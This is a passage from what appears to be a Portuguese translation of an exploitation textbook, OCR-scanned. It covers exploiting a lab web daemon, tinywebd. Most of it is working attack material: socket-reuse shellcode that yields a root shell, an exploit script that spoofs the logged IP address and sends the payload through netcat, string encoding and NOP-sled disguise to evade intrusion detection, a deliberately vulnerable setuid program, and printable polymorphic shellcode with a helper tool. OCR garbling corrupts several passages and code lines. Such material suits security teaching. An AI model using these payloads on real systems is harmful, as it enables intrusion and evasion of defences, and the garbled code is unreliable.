Breakpoint 1, handle _connection (sockfd=13, client _addr _ptr=0xbffff810,

logfd=3) at

tinywebd.c:86

86 length = recv _ line(sockfd, request);
(gdb) x/x &sockfd

Oxbffff7e0: 0x0000000d

(gdb) x/x &new _ sockfd

No symbol “new _ sockfd” in current context.

(gdb) bt

#0 handle _ connection (sockfd=13, client _addr _ptr=0xbffff810, logfd=3) at
tinywebd.c:86

#1 0x08048fb7 in main () at tinywebd.c:72

(gdb) select-frame 1

(gdb) x/x &new _ sockfd

Oxbffff83c: 0x0000000d

(gdb) quit

The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 478

reader@hacking:~/booksrc $

Essa saida do depurador mostra que new _ sockfd é armazenado em
0xbfff£83c dentro da estrutura da pilha principal. Ao utiliza-lo, podemos
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criar um shellcode que utiliza o descritor do arquivo do socket armazenado
aqui ao invés de criar uma nova conexao.

Enquanto poderiamos apenas utilizar esse endereco diretamente, ha
muitas pequenas coisas que podem deslocar a memoria da pilha. Se isso
ocorrer e o shellcode estiver usando o endereco de pilha fixo, o exploit
falhara. Para tornar o shellcode mais confiavel, tenha uma pista de como o
compilador lida com as variaveis da pilha. Se usarmos um endereco rela-
tivo ao ESP, entao mesmo que a pilha se desloque um pouco, o endereco
de new sockfd ainda estaré correto, uma vez que o deslocamento do
ESP serd o mesmo. Se vocés se lembrarem da depuragao com o shellcode
mark break, 0 ESP era 0xbff££7e0. Utilizando esse valor para o ESP, o
deslocamento é mostrado como sendo de 0x5c bytes.

reader@hacking:~/booksrc $ gdb -gq

(gdb)
$1 =
(gdb)

404

print /x Oxbffff83c - Oxbffff7e0
0x5c

O shellcode a seguir reutiliza a socket existente para o shell do root.

mcoxmﬂquCMOIﬁQMﬁme.w

BITS 32
push BYTE 0x02 ; Fork é syscall #2
pop eax
int 0x80 ; Ap6s o fork, o processo filho de entrada é eax

== (),

test eax, eax

jz child _ process ; o processo filho de entrada gera uma
shell.

; No processo pai, tinywebd é restaurado.
lea ebp, [esp+0x68] ; Restaura EBP
push 0x08048fb7 ; Enderecgo de retorno.
ret ; Retorna.

child _ process:
; Reutiliza o socket existente.

lea edx, [esp+0x5c] Coloca o enderego de new _ sockfd em edx.

mov ebx, [edx] Coloca o novo valor de new _sockfd em
ebx.

push BYTE 0x02

pop ecx ; ecx inicia em 2.

Xor eax, eax

xor edx, edx

;
;

dup _ loop:
mov BYTE al, O0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
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dec ecx ; Decrementa até 0.
jns dup _ loop 7 Se o sign flag ndo esta definido, ecx n&o é negativo.

; execve(const char *filename, char *const argv [], char *const envp(])
mov BYTE al, 11 ; execve syscall #11
push edx ; coloca alguns nulls no terminador do arquivo.
push 0x68732f2f ; coloca “//sh” na pilha.
push 0x6e69622f; coloca “/bin” na pilha.

mov ebx, esp i Coloca o enderego de “/bin//sh” em ebx, via esp.
push edx ; eoloca um terminador nulode 32 bits na pilha.

mov edx, esp ; Este é um array vazio para envp.

push ebx ; coloca o enderego da string na pilha acima do terminador nulo
mov ecx, esp ; Este & o array de argv array com o ptr. de string.
int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL])

Para usar esse shellcode efetivamente, precisamos de outra ferramenta
de exploit que nos permite enviar o buffer de exploit, mas mantém o socket
fora para futuras entradas/saidas (1/0). Esse segundo script de exploit adi-
cionaum comando cat - adicional no fim do exploit de buffer. O pardmetro
travessao significa uma entrada padrao. Executando o cat em uma entrada
padrao €, de certa forma, in(til por si s4, mas quando o comando é inserido
dentro do netcat, ele vincula efetivamente a entrada e saida padrao para o
socket de rede do netcat. O script a seguir se conecta ao alvo, envia o buffer
de exploit e entdo mantém o socket aberto e obtém outras entradas a partir
do terminal. Isto é feito com algumas poucas modificagbes (mostradas em
negrito) na ferramenta de exploit silenciosa.

xtool_tinywebd_reuse.sh

#!/bin/sh

# Ferramenta de exploit de roubo silencioso para tinywebd

# também aplica spoof ao endereco IP armazenado na meméria
# reutiliza o shellcode socket _ reuse

SPOOFIP="12.34.56.78"
SPOOFPORT="9090"

if [ -z “$2” ]; entdo # se o argumento 2 esti em branco
echo “Usage: $0 <shellcode file> <target IP>”
exit
fi
FAKEREQUEST="GET / HTTP/1.1\x00”
FR _ SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -fl1 -d ‘)
OFFSET=540

RETADDR="\x24\xf6\xff\xbf” # at +100 bytes from buffer @ Oxbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf” # +15 bytes from buffer @ Oxbffff5c0
echo “target IP: $2”

SIZE="wc -c $1 | cut -fl1 -d '

echo “shellcode: $1 ($SIZE bytes)”
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echo “fake request: \”"$FAKEREQUEST\” ($FR_ SIZE bytes)”
ALIGNED _ SLED _ SIZE=$(($OFFSET+4 - (32*4) - $SIZE - SFR _ SIZE - 16))

echo ™“[Fake Request $FR_ SIZE] [spoof IP 16] [NOP merQchlmhmolmHNm_
[shellcode $SIZE] [ret
addr 128] [*fake _addr 8]”

(perl -e “print \”$FAKEREQUEST\””;

.\waan.lwﬁHCOn “$SPOOFIP” “$SPOOFPORT”;

perl -e “print \”\x90\”"x$ALIGNED _ SLED _ SIZE"”;

cat $1;
perl -e “print \”$RETADDR\”x32 . \”$FAKEADDR\”x2 . \”\x01\x00\x00\x00\r\n\"~;
cat -;) | nc -v $2 80

Quando essa ferramenta é utilizada com o shellcode socket _ reu-
se _restore, o shell de root seré servido usando o mesmo socket usado
para uma solicitacdo Web. A saida a seguir demonstra isso.

reader@hacking:~/booksrc $ nasm socket _ reuse _ restore.s
reader@hacking:~/booksrc $ hexdump -C socket _ reuse _restore

00000000 6a 02 58 cd 80 85 cO 74 Oa 8d 6c 24 68 68 b7 8f |j.X..t.1$hh.
00000010 04 08 c3 8d 54 24 5c 8b la 6a 02 59 31 cO0 31 d2 |..T$\.j.Y1l.1.|

00000020 b0 3f cd 80 49 79 f9 b0 Ob 52 68 2f 2f 73 68 68 |.?.Iy..Rh//shh|
00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 el cd 80 |/bin.R.S..|
0000003e

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ./xtool _ tinywebd _reuse.sh socket _reuse _restore
127.0.0.1

target IP: 127.0.0.1

shellcode: socket _reuse _restore (62 bytes)

fake request: “GET / HTTP/1.1\x00” (15 bytes)

[Fake Request 15] [spoof IP 16] ([NOP 323] [shellcode 62] [ret addr 128]
[*fake _addr 8]

localhost [127.0.0.1] 80 (www) open

whoami

root

Por meio da reutilizagcao do socket existente, esse exploit é até mais
silencioso, uma vez que nao cria nenhuma conexao adicional. Menos co-
nexoes significam menos anormalidades para qualquer medida defensiva
detectar.

0x680 Smuggling de payload

Os sistemas IDS ou IPS de redes mencionados anteriormente podem
fazer mais do que apenas rastrear conexoes — eles também podem ins-
pecionar pacotes. Geralmente, esses sistemas estdo procurando por
padroes que poderiam significar um ataque. Por exemplo, uma simples
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regra procurando por pacotes que contenham a string /bin/sh captu-
raria varios pacotes contendo shellcodes. Nossa string /bin/sh j4 esta
levemente ofuscada, uma vez que ela é colocada na pilha em blocos de
4 bytes, mas um IDS de rede também poderia procurar por pacotes que
contenham a string /bin e //sh.

Esses tipos de assinaturas de IDS de rede podem ser conveniente-
mente eficazes em capturar script kiddies, que utilizam exploits baixados
da Internet. Contudo, eles sdo facilmente ignorados com um shellcode
personalizado que esconde quaisquer strings denunciadoras.

0x681 Codificacao de string

Para ocultar qualquer string, basta adicionar 5 a cada um dos seus
bytes. Entdo, depois que a string for colocada na pilha, o shellcode sub-
traird 5 de cada byte da string da pilha. Isso construira a string desejada
na pilha, assim ela pode ser usada no shellcode, ao mesmo tempo em
que sera mantida escondida durante a transicdo. A saida a seguir mostra
o célculo dos bytes codificados.

reader@hacking:~/booksrc $ echo “/bin/sh” | hexdump -C
00000000 2f 62 69 6e 2f 73 68 Oa |/bin/sh.|

00000008

reader@hacking:~/booksrc $ gdb -g

(gdb) print /x 0x0068732f + 0x05050505

$1 = 0x56d7834

(gdb) print /x 0x6e69622f + 0x05050505

$2 = 0x736e6734

(gdb) quit

reader@hacking:~/booksrc $

O shellcode a seguir coloca esses bytes codificados na pilha e entao os
decodifica em um loop. Além disso, duas instrugdes int 3 sdo usadas para
colocar breakpoints no shellcode antes e depois da decodificagao. Essa é
uma maneira simples de ver o que esta acontecendo com o GDB.

encoded_sockreuserestore_dbg.s

BITS 32
push BYTE 0x02 ; O fork é€ o syscall #2.
pop eax
int 0x80 ; Apbs o fork, o processo filho de entrada eax ==
test eax, eax
jz child _ process ; O processo filho de entrada gera uma shell.
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; No processo pai, tinywebd é restaurado.
lea ebp, [esp+0x68] ; Restaura EBP.
push 0x08048fb7 ; Enderego de retorno.
ret ; Return

child _ process:
; Reuso do socket existente.
lea edx, [esp+0x5c] ; Coloca o enderego de new sockfd em edx.
mov ebx, [edx] ; Coloca o valor de Sm£|.mmmen em ebx.
push BYTE 0x02

pop ecx ; ecx inicia em 2.
XOor eax, eax

dup _ loop:
mov BYTE al, O0x3F dup2 syscall #63

int 0x80
dec ecx
jns dup _ loop

dup2(c, 0)
Decrementa até 0.
Se o sign flag ndo esté definido, ecx ndo € negativo.

; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push 0x056d7834 ; coloca “/sh\x00” codificado +5 na pilha.
push 0x736e6734 ; coloca “/bin” codificado +5 na pilha.
mov ebx, esp ; Coloca o endereco de “/bin/sh” codificado em ebx.

int3 ; Breakpoint antes da decodificacdo (REMOVER QUANDO NAO FOR DEPURAR)

push BYTE 0x8 ; Precisa decodificar 8 bytes
pop edx
decode _ loop:
sub BYTE [ebx+edx], 0x5
dec edx
jns decode _ loop

int3 ; Breakpoint apés a decodificagdo (REMOVER QUANDO NAO FOR DEPURAR)

xor edx, edx

push edx ; colocar o terminador nulo de 32 bits na pilha.
mov edx, esp ; Este é um array vazio para envp.
push ebx ; coloca o enderego da string na pilha acima do

terminador nulo.
mov ecx, esp
int 0x80

Este é um array argv com ptr de string.
execve (V/bin//sh”, [“/bin//sh”, NULL], [NULL])

O loop de decodificacao utiliza o registro EDX como um contador. Ele
comecga em 8 e conta decrescentemente até 0, visto que 8 bytes precisam
ser decodificados. Enderecgos exatos da pilha ndo importam nesse caso,
uma vez que as partes importantes estardo todas relativamente endere-
¢adas, assim a saida a seguir ndo atrapalha a anexagao de um processo
tinywebd existente.

reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -g ./a.out
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warning: not using untrusted file “/home/reader/.gdbinit”

Using host libthread _db library “/1lib/tls/i686/cmov/libthread _db.so.1".
(gdb) set disassembly-flavor intel

(gdb) set follow-fork-mode child

(gdb) run

Starting program: /home/reader/booksrc/a.out

Starting tiny web daemon..

Visto que os breakpoints s&o, na verdade, parte do shellcode, ndo ha
necessidade de definir um a partir do GDB. De outro terminal, o shellcode
é montado e usado com a ferramenta de exploit de reuso de socket.

De outro terminal

reader@hacking:~/booksrc $ nasm encoded _ sockreuserestore _dbg.s
reader@hacking:~/booksrc $ ./xtool _tinywebd reuse.sh encoded _
socketreuserestore _ dbg 127.0.0.1

target IP: 127.0.0.1

shellcode: encoded _sockreuserestore _dbg (72 bytes)

fake request: “GET / HTTP/1.1\x00” (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 313] [shellcode 72] [ret addr 128]
[*fake _ addr 8]

localhost [127.0.0.1] 80 (www) open

De volta a janela GDB, a primeira instrugao int3 no shellcode ¢
atingida. A partir daqui, podemos verificar que a string é decodificada
adequadamente.

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 12400]

Oxbfffféab in 2?2 ()

(gdb) x/10i Seip

Oxbfffféab: push 0x8

Oxbffff6ad: pop edx

Oxbfffféae: sub BYTE PTR [ebx+edx],0x5
Oxbffff6b2: dec edx

Oxbfffféb3: jns Oxbfffféae

Oxbfff£6b5 int3

Oxbffff6b6: Xor edx,edx

Oxbfffféb8: push edx

Oxbffff6b9: mov edx,esp

Oxbffffébb: push ebx

(gdb) x/8c S$ebx

Oxbfff£738: 52 ‘4’ 103 ‘g’ 110 ‘n’ 115 ‘s’ 52 ‘4’ 120 ‘x’ 109 ‘m’ 5 ‘\005’
(gdb) cont

Continuing.

[tcsetpgrp failed in terminal _ inferior: Operation not permitted]
Program received signal SIGTRAP, Trace/breakpoint trap.

Oxbffff6b6 in 22 ()
(gdb) x/8c S$ebx
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Oxbff£f£738: 47 /' 98 b’ 105 ‘i’ 110 ‘n’ 47 1/’ 115 ‘s’ 104

‘W “ai
(gdb) x/s $ebx
Oxbffff738: “/bin/sh”
(gdb)

Agora que a decodificagao foi verificada, as instrugdes int3 podem
ser removidas do shellcode. A saida a seguir mostra o shellcode fing
sendo utilizado.

reader@hacking:~/booksrc $ sed -e ‘s/int3/;int3/g’ m:ooama,|mooxnwsmmnmwnonm
dbg.s > i
encoded _ sockreuserestore.s

reader@hacking:~/booksrc $ diff encoded _ sockreuserestore
sockreuserestore.s 33c33

< int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)

> ;int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)

42c42

< int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)

> ;int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)
reader@hacking:~/booksrc $ nasm encoded _ sockreuserestore.s
reader@hacking:~/booksrc $ hexdump -C encoded _ sockreuserestore

00000000 6a 02 58 cd 80 85 cO 74 Oa 8d 6c 24 68 68 b7 8f |j.X....t..1$hh..|
00000010 04 08 c3 8d 54 24 5c 8b la 6a 02 59 31 c0 b0 3f |....T$\..¥1..2
00000020 cd 80 49 79 £9 b0 Ob 68 34 78 6d 05 68 34 67 6e |..Iy...hd4xm.hdgn|
00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 £9 31 d2 52 Is..j.Z.,..Jy.1.R|
00000040 89 e2 53 89 el cd 80 l..8....]

00000047

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon..

reader@hacking:~/booksrc $ ./xtool tinywebd _ reuse.sh encoded sockreuserestore
127.0.0.1 - -

target IP: 127.0.0.1

shellcode: encoded _ sockreuserestore (71 bytes)

fake request: “GET / HTTP/1.1\x00” (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake
addr 8] \

localhost [127.0.0.1] 80 (www) open
whoami
root

_dbg.s encoded

0x682 Como esconder um sled

O sled NOP é outra assinatura facil para detectar por IDSs e IPSs de rede.
Grandes blocos de 0x90 nao sao tao comuns, assim, se um mecanismo de
seguranca da rede detecta algo parecido com isso, provavelmente trata-
se de um exploit. Para evitar essa assinatura, podemos usar diferentes
instrucdes de byte Unico ao invés do NOP. Ha vérias instrucdes de byte
unico — as instrugées de incremento e decremento para varios registros
- que também sao caracteres ASCI| imprimiveis.
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Instrucao Hex ASCII
inc eax 0x40 @

inc ebx 0x43 C

inc ecx 0x41 A

inc edx 0x42 B

dec eax 0x48 H

dec ebx 0x4B K

dec ecx ox49 |
dec edx Ox4A J

Tabela 0x601.

Desde que esses registros sejam zerados m:ﬁmw Q.m os S___chluop MWm.
demos seguramente usar uma combinacao m_mm:.u:m Qmmm.m.m Y mmc_o.:m
o sled NOP. Criar uma nova ferramenta de exploit que %:__Nm omﬂ 7__O_u

: - z 3 m
0 Ori Cc,A, B, H K, IeJaoinvesdeu F
des aleatdrias dos bytes @, C, A,  H, . o
Mo:<m:nmo:m_ ficard como um exercicio para oﬁ_um:oq. O.BQQQmOmHM_MMO
i i do um programa de geracao ;
ara fazer isso seria escreven 1a de ¢ 6
Mcm ¢ usado com um script BASH. Essa modificagéo ocultara o buffer de
exploragao dos IDSs que buscam por um sled NOP.

0x690 Restricoes em buffer

As vezes, um programa colocara certas restricoes nos buffers. mm.wm .:mnw
de verificagao de dados pode evitar muitas <:_:m_,mc.___amamw. Ooam_, Mm« i
i 6 usado para atualizar as descrico

rograma exemplo a seguir, nE.w m\r._ ara Z ; icO °

M_.om:ﬁo em uma base de dados ficticia. O primeiro parametro € o Moﬂ_mo:mo
produto, o segundo é a descricao atualizada. Este programa, na <Mq mvmﬁ !

! .

atualiza uma base de dados, mas ele possui uma vulnerabilidade obvia.

update_info.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#$define MAX _ ID _ LEN 40
#define MAX _DESC _ LEN 500

/* Gera uma mensagem e mw».A»\

void barf(char *message, void *extra) {
printf(message, extra);
exit(1);
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/* O objetivo desta funcdo é atualizar a descricdo de um produto em um bance
de dados. */
void update _ product _ description(char *id, char *desc)
{
char product _code([5], description[MAX _DESC _LEN];

printf(«[DEBUG]: description is at $p\n», description);

strncpy(description, desc, MAX _ DESC _ LEN);
strcpy(product _code, id);

printf(“Updating product #%s with description \’%s\’\n”, product _ code, desc)
// Atualiza banco de dados

;

int main(int argc, char *argv(], char *envp(])
{

int i;

char *id, *desc;

if(argc < 2)

barf(“Usage: %s <id> <description>\n”, argv[0]);
id = argv[l]; // id - Cédigo do produto para atualizar no banco de dados
desc = argv([2]; // desc - Descrigdo do item para atualizacgdo

if(strlen(id) > MAX _ID _LEN) // o id precisa ser menor que MAX ID _LEN bytes.
barf(“Fatal: id argument must be less than $u bytes\n”, (void *)MAX _ID_LEN);

for(i=0; i < strlen(desc)-1; i++) { // Permite apenas bytes imprimiveis na
descrigdo.
if(!(isprint(desc[i])))
barf(“Fatal: description argument can only contain printable bytes\n”, NULL);

// Limpa a meméria da pilha (seguranca)
// Limpa todos os argumentos, exceto o lo. e o 20.
memset(argv([0], O, strlen(argv(0]));
for(i=3; argv[i] != 0; i++)
memset (argv[i], 0, strlen(argv([i]));
// Limpa todas as variaveis de ambiente
for(i=0; envpl[i] != 0; i++)
memset (envp(i], 0, strlen(envp[i]));

printf(“[DEBUG): desc is at %p\n”, desc);
update _ product _description(id, desc); // Atualiza o banco de dados.

Apesar da vulnerabilidade, o c6digo tenta realizar um ataque a seguran-
¢a. O comprimento limitado do pardmetro do ID do produto e o contetido
do parametro de descri¢ao sao limitados a caracteres imprimiveis. Além
disso, as variaveis de ambiente nao utilizadas e os parametros do progra-
ma sao limpos por questao de seguranca. O primeiro pardmetro (id) &
muito pequeno para o shellcode, e uma vez que o resto da memoria da
pilha seja limpo, h4 apenas um local restante.

412  Hacking

reader@hacking:~/booksrc $ gcc -o update _info update _ info.c
reader@hacking:~/booksrc $ sudo chown root ./update _ info
reader@hacking:~/booksrc $ sudo chmod u+s ./update _ info
reader@hacking:~/booksrc $ ./update _ info

Usage: ./update info <id> <description>

reader@hacking:~/booksrc $ ./update _info OCP209 “Enforcement Droid”
[DEBUG]: description is at Oxbffff650

Updating product #OCP209 with description ‘Enforcement Droid’
reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ ./update _info $(perl -e ‘print «AAAA»x10’) blah
[DEBUG]: description is at Oxbffff650

Segmentation fault : N
reader@hacking:~/booksrc $ ./update _info $(perl -e ‘print «\xf2\xf9\xff\
xbf»x10’) $(cat ./

shellcode.bin)

Fatal: description argument can only contain printable bytes
reader@hacking:~/booksrc $

Essa saida mostra um modelo do uso e entao tenta explorar a vulnera-
bilidade da chamada strcpy (). Embora o endereco de retorno possa ser
sobrescrito usando o primeiro argumento (id, o Gnico lugar onde pode-
mos colocar esse shellcode é o segundo pardmetro, desc). No entanto,
esse buffer € verificado para bytes nao imprimiveis. A saida da depuragao
confirma que esse programa pode ser explorado, se houvesse um modo
de colocar o shellcode no parametro de descrigéo.

reader@hacking:~/booksrc $ gdb -q ./update _info

Using host libthread db library “/lib/tls/i686/cmov/libthread _db.so.1”.
(gdb) run $(perl -e ‘print “\xcb\xf9\xff\xbf”x10’) blah

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: \roBm\Hmmamn\vooxwwo\cvamnm|H=mo $(perl -e ‘print “\xcb\
xfI\xff\xb£f”x10")

blah

[DEBUG]: desc is at Oxbffff9cb

Updating product # with description ‘blah’

Program received signal SIGSEGV, Segmentation fault.

Oxbffff9cb in ?? ()

(gdb) i r eip

eip Oxbffff9cb Oxbffff9cb

(gdb) x/s $eip

Oxbffff9cb: “blah”

(gdb)

A validacao da entrada imprimivel é a Gnica coisa que interrompe o
exploit. Assim como a seguranga nos aeroportos, esse loop de validacao
de entrada inspeciona tudo o que chega. E enquanto néo é possivel evitar
essa verificagdo, ha varios modos de passar pelos segurancas transpor-
tando dados ilicitos de forma oculta.
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0x691 Shellcode ASCII imprimivel polimérfico

. .C3 shellcode polimérfico se refere a qualquer shelicode que s
a.;_nm. O shellcode codificado da segao anterior é tecnicamente uow -
fico, uma vez que ele modifica a string que utiliza enquanto esta m_307
mxmocﬂ.mao.. O novo sled NOP usa instrugbes que se compdéem em M:ao
\.rmo__ _BU:B:.\mmm. Ha outras instrucdes que se enquadram nessa o_mﬁm.m
d_ommmo como imprimiveis (de 0x33 até 0x7e); contudo, todo o coni o
€, na verdade, bem menor. \ s

(0] oc_..w:<o é escrever o shellcode que passe pela verificagdo de
«moﬂ.m:wm imprimiveis. Tentar escrever um shellcode complexo co o
conjunto limitado de instrugdes seria masoquismo, assim, do 833 b
o m:m__ooam imprimivel usar4 métodos simples para oo:m:‘\c: m:m__om_m_P
mais complexos na pilha. Desse modo, o shellcode imprimivel, efeti o
mente, .wm&. as instrugdes para fazer o shellcode real. \ e
. 0] primeiro passo € descobrir um modo para zerar os registros. Infe
lizmente, a instrugdo XOR, nos varios registros, ndo monta na *mmx.m d X
caracteres ASCIl. Uma opgéo é usar o operador binario aND que se c0m
ao caractere de porcentagem (%) ao utilizar o registro m>x.~> instru o
.mwmmmjc\_«\ and eax, 0x41414141 sera montada em um cédigo de ancmm”o
_3533_5. SAAAA, UmMa vez que 0x41 em hexadecimal é o caractere im ;
mivel A. Uma operagdo AND transforma os bits, como segue: P

1l and 1
0 and 0
1
0

I
(=N

and 0
and 1

C.Bm vezque o Unico caso em que o resultado é 1 seria quando ambos
os bits s&o 1, se for aplicado um AND a dois valores inversos em EAX
ele se tornaré zero. .

Binario
1000101010011100100111101001010
AND 0111010001100010011000000110101

0000000000000000000000000000000

Hexadecimal
0x454edfda
AND 0x3a313035

0x00000000

Assim, usando dois valores imprimiveis de 32 bits, que sao binarios inver-
MOm de um para 0 n.E:o. oregistro EAX pode ser zerado sem usar qualquer
yte nulo, e o cédigo de maquina Assembly serd um texto imprimivel.

and eax, 0x454e4fd4a ; Assembles into %JONE
and eax, 0x3a313035 ; Assembles into %501:

Hacking

Assim, $JONE%501: em codigo de maquina iré zerar o registro EAX.
Interessante. Algumas outras instrugoes que se montam em caracteres
ASCIl imprimiveis sdo mostradas na caixa a seguir.

sub eax, 0x41414141 -AAAA
push eax P
pop eax X
push esp T
pop esp \

Surpreendentemente, essas instrucoes, combinadas com a instrugao
AND eax, sao suficientes para construir o cédigo carregador que injetaré o
shellcode na pilha e entéo iré executé-lo. Atécnica geral é, primeiro, definir
o ESP de volta para o cédigo carregador que esta sendo executado (em
enderecos de meméria mais altos), e entao construir o shellcode do final
para o inicio colocando os valores na pilha como mostrado a seguir.

Uma vez que a pilha cresce (a partir de enderecos de mem©éria mais
altos para os mais baixos), o ESP recuara conforme os valores séo colo-
cados na pilha, e o EIP movera para frente conforme o cédigo carregador
& executado. Eventualmente, o EIP e o ESP se encontraréo, e o EIP conti-
nuara a execucao no shellcode recém-construido.

1)

Coédigo carregador

Shellcode

Coédigo carregador Shellcode sendo construido

L
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Primeiro, o ESP precisa ser colocado atras do shellcode carregad
Uma pequena depuragao com o GDB mostra que apds a obtengao Mr
execugao do programa, o ESP esta 555 bytes antes do inicio do buff .
o<m1_c<< (que contera o cédigo carregador). O registro ESP precisa .
removido, entéo est4 apés o cédigo carregador, enquanto ainda amwn...w
espaco para o novo shellcode e para o préprio shellcode carregador quxm
de 300 bytes devem ser suficientes para isso, entdo m&omo:mqm:..wm mMm
bytes ao ESP para colocar 305 bytes apds o inicio do cédigo om?mmmaoo
Esse <m_oﬂ Nnao precisa ser exato, uma vez que as provisdes serio *mzmw
posteriormente para permitir algum desvio. Uma vez que a (nica _.:.ﬁEm
cao c:._ € a subtracao, a adicdo pode ser simulada subtraindo um <m_om
Q.o registro até o ponto de ele se sobrepor. O registro possui apenas 32
bits de espaco, assim, adicionando 860 bytes ao registro é o mesmo qu
subtrair 860 de 2%, ou 4,294,966,436. No entanto, essa subtracio deve :mmw
apenas valores imprimiveis, por isso dividimos através de trés instrucoes
em que todas usam operandos imprimiveis.

sub eax, 0x39393333 ; Assembles into
sub eax, 0x72727550 ; Assembles into

sub eax, 0x54545421 ; Assembles into

Conforme a saida do GDB confirma, subtrair esses trés valores a partir
de um nimero de 32 bits é o mesmo que adicionar 860 a ele.

, reader@hacking:~/booksrc $ gdb -gq
(gdb) print 0 - 0x39393333 - 0x72727550 - 0x54545421

$1

(gdb)

416

860

O objetivo é subtrair esses valores de ESP, e ndo de EAX, mas as ins-
trugoes sub esp ndo montam em um caractere ASCIl imprimivel. Assim, o
valor atual de ESP precisa ser movido para EAX para a subtracéao, e entao
o novo valor de EAX precisa ser movido de volta para ESP.

Contudo, visto que nem mov esp, eax Nem mov eax, esp montam
nos caracteres ASCIl imprimiveis, essa mudanca precisa ser feita usando
a pilha. Colocando o valor a partir de um registro de origem para a pilha
e entao retirando-o para dentro do registro destino, o equivalente a uma
instrugao mov destino, origem pode ser concluida com push origeme
pop destino. Felizmente, as instrugdes pop e push para ambos os regis-
tros EAX e ESP montam nos caracteres ASCII, assim isto pode ser feito
usando o ASCIl imprimivel.

Este é o conjunto final de instrugdes para adicionar 860 ao ESP.

push esp ; Assembles into T
pop eax ; Assembles into X

Hacking

sub eax, 0x39393333 ; Assembles into -3399

sub eax, 0x72727550 ; Assembles into -Purr
sub eax, 0x54545421 ; Assembles into -!TTT
push eax ; Assembles into P
pop esp ; Assembles into \

Isso significa que 0 Tx-3399-Purr-!TTT-P/ adicionara 860 ao ESP ao
cédigo de méaquina. Até agora, tudo bem. Agora o shellcode precisa ser
construido. )

Primeiro, o EAX precisa ser zerado; isso é facil agora que um método
foi descoberto. Entao, utilizando mais instrugoes sub, o registro EAX
precisa ser definido para os Gltimos quatro bytes do shellcode, na ordem
inversa. Uma vez que a pilha normalmente cresce para cima (em diregcao
aos enderecos de meméria mais baixos) e constréi uma ordenagao do
tipo FILO, o primeiro valor colocado na pilha deve ser os quatro altimos
bytes do shellcode. Esses bytes precisam estar na ordem inversa, devido
a ordenacgao de byte do tipo /ittle-endian. A saida a seguir mostra uma
descarga hexadecimal do shellcode padrao usado nos capitulos anteriores,
que sera construida pelo cédigo carregador imprimivel.

reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin

00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a Ob 58 51 68 |[l.1.1...... j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 el cd 80 —

Nesse caso, os quatro Ultimos bytes sdo mostrados em negrito; o valor
adequado para o registro EAX é 0x80cde189. Isto € facil de fazer utilizando
instrugdes sub para sobrepor o valor. Entao, o EAX pode sercolocadonaa
pilha. Isso move o ESP para cima (em dire¢éo aos enderegos de memoria
mais baixos) para o final do valor recém inserido, pronto para os proximos
quatro bytes do shellcode (mostrados em itélico no shellcode a seguir).
Mais instrucdes sub sdo usadas para sobrepor EAX para 0x53e28951, €
esse valor é entao colocado na pilha. Como este processo é repetido para
cada um dos quatro bytes, o shellcode é construido a partir do final para
o comego, em dire¢ado ao codigo carregador em execucao.

00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a Ob 58 51 68 |1.1.1...... j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 el cd 80 Jwsed

Eventualmente, o comeco do shellcode é alcangado, mas ha apenas
trés bytes (mostrados em italico no shellcode anterior) deixados depois a
insercao de 0x99c931db na pilha. Essa situacéo € aliviada inserindo uma
instrugao NOP de um unico byte no comeco do codigo, resultando no
valor 0x31c¢03190 sendo colocado na pilha — 0x90 é o cédigo de maquina
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do NOP. Cada um desses quatro bytes do shellcode original é gerado
com o método de subtragao imprimivel usado anteriormente. O cédigo-
fonte seguinte é um programa que ajuda a calcular os valores imprimiveis
necessarios.

printable_helper.c
#include <stdio.h>
#include <sys/stat.h>
#include <ctype.h>
#include <time.h>
#include <stdlib.h>

#include <string.h>
#define CHR “% _01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV

WXYZ-"

int main(int argc, char* argv([])

{
uns
uns
int

igned int targ, last, t[4], 1[4];
igned int try, single, carry=0;
len, a, i, j, k, m, z, flag=0;

char word[3][4];
unsigned char mem([70];

if(

sra
bze

argc < 2) {
printf(“Usage: %s <EAX starting value> <EAX end value>\n”, argv(0]);
exit(l);

nd(time (NULL));
ro(mem, 70);

strcpy(mem, CHR);
len = strlen(mem);
strfry(mem); // Randomize

las

t = strtoul(argv(l], NULL, 0);

targ = strtoul(argv([2], NULL, 0);

printf(“calculating printable values to subtract from EAX..\n\n”);

£[3] = (targ & 0xff000000)>>24; // Dividindo por bytes
t[2] = (targ & 0x00££0000)>>16;

t(l] = (targ & 0x0000££00)>>8;

t[0] = (targ & 0x000000ff);

1[(3] = (last & 0xff000000)>>24;

1[2] = (last & 0x00££0000)>>16;

1[1] = (last & 0x0000££00)>>8;

1[0] = (last & 0x000000ff);

for(a=1; a < 5; a++) { // Contagem de valor

carry = flag = 0;

for

418

(z=0; z < 4; z++) { // Contagem de byte
